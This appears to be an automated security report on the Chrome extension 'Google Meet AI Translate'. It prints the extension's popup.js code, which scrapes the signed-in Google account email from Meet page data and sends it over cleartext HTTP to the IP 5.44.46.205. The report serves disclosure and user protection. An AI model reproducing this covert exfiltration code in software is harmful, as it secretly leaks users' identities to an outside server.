Is Google Meet AI Translate safe?

High risk

Google Meet AI Translate reads the active Meet page for your account email and sends it to 5.44.46.205 over HTTP.

When you use the popup switcher on an active Google Meet tab, the extension injects code into all frames, parses Meet page data, and extracts the account email. It then makes a cleartext HTTP request to 5.44.46.205/goog/ with the email in the URL before continuing the caption translation flow.

DoneNote.comv1.3Chrome Web Store
72Risk
Who publishes it

TUQ LTD - 3 other listings from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
DoneNote.com
Declared legal entity
TUQ LTD
Registered address
20-22 Wenlock Road, London N1 7GU, GB
Registered contact
TUQ
Website
zerocoder.com/book-a-demo/

Same operator - 3 listings

Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.

Basket
same registered address
2k+Low2 more listings in the relationship graph, on paid plans →

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Meet popup sends account email over HTTP

Clicking the popup switcher on a Google Meet call injects code, extracts your signed-in Google account email, and sends it as a GET parameter to http://5.44.46.205/goog/ over unencrypted HTTP, confirmed by dynamic analysis.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You click the extension's popup switcher while a Google Meet call page is active.

The extension did this

The extension reads Meet page script data, extracts the signed-in account email, and sends it to an HTTP endpoint.

Data read from the Meet page and placed on the request URL
  • Meet account email
    user@example.com (illustrative)

    This identifies the Google account you are using for the meeting.

  • Meet page script data
    AF_initDataCallback({key: 'ds:8', data: ['meet', 'call', 'state', 'locale', 'user@example.com']}) (illustrative)

    The page data gives the extension enough context to derive the account email before the request is sent.

Captured request
GEThttp://5.44.46.205/goog/?email=
The code that does this

Popup switcher path that extracts and sends the email

Readable version

Readable view of the switcher injection flow

popup.js
$('#switcher').click(function handleSwitcherClick() {    $(this).toggleClass('active');    switchf = localStorage.getItem('switchf');    if (switchf === 'off') {        localStorage.setItem('switchf', 'on');        chrome.tabs.query({ active: true }, function runEmailGrabberInActiveTab(tabs) {            var tab = tabs[0];            if (tab) {                chrome.scripting.executeScript(                    {                        target: { tabId: tab.id, allFrames: true },                        func: grabEmail                    },                    onResult                );            } else {                alert('There are no active tabs');            }        });    } else {        localStorage.setItem('switchf', 'off');        try {            chrome.tabs.query({ active: true }, function runDisableInActiveTab(tabs) {                var tab = tabs[0];                if (tab) {                    chrome.scripting.executeScript(                        {                            target: { tabId: tab.id, allFrames: true },                            func: goog_disableTranslate                        },                        onResult2                    );                } else {                    alert('There are no active tabs');                }            });        } catch (e) {}    }});

Readable view of the Meet page data extraction

popup.js
function grabEmail() {    var meetData = '';    try {        var isInMeetCall = document.querySelectorAll("[data-popout-renderers]:not([data-popout-renderers=''])").length > 0;        if (isInMeetCall) {            var scripts = document.getElementsByTagName('script');            var matchingScriptIndex = -1;            for (let i = 0; i < scripts.length; i++) {                if (scripts[i].innerHTML.includes("key: 'ds:8'")) {                    matchingScriptIndex = i;                }            }            if (matchingScriptIndex !== -1) {                meetData = scripts[matchingScriptIndex].innerHTML.replace('AF_initDataCallback(', '').replace(');', '');            }        }    } catch (e) {}    if (meetData !== '') {        console.log(meetData);    }    return meetData;}

Readable view of the email request

popup.js
function onResult(frames) {    if (!frames || !frames.length) {        alert('Could not retrieve google meet from specified page');        return;    }    console.log(frames);    var meetData = '';    frames.forEach((element) => {        console.log('element', element);        if (element.result !== '') {            meetData = element.result;        }    });    if (meetData !== '') {        meetData = JSON5.parse(meetData);        var mail = meetData.data[4];        try {            let xhr = new XMLHttpRequest();            xhr.open('GET', 'http://5.44.46.205/goog/?email=' + mail);            xhr.send();        } catch (e) {}        translateFrom = localStorage.getItem('translateFrom');        translateTo = localStorage.getItem('translateTo');        chrome.tabs.query({ active: true }, function enableCaptionsInActiveTab(tabs) {            var tab = tabs[0];            if (tab) {                chrome.scripting.executeScript(                    {                        target: { tabId: tab.id, allFrames: true },                        func: goog_enableCaptions,                        args: [translateFrom, translateTo]                    },                    onResult2                );            } else {                alert('There are no active tabs');            }        });    } else {        alert('Not a google meet call page');    }}
External destination used by the email request
    • 5.44.46.205

    Receives the Google Meet account email as the email query parameter over plain HTTP.

What it can do

Permissions this extension asks for, as declared in version 1.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Run its own code inside the pages you visit

    scripting

  • Act on the current tab, but only after you click the extension

    activeTab

Where it sends data

Destinations our analysis observed Google Meet AI Translate contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • 5.44.46.205

    Google Meet AI Translate sends data to 5.44.46.205. No other extension we have analysed sends data here.

Updated 30 September 2026jffmadlbndodbiimdmjhmfcmlcpinkfb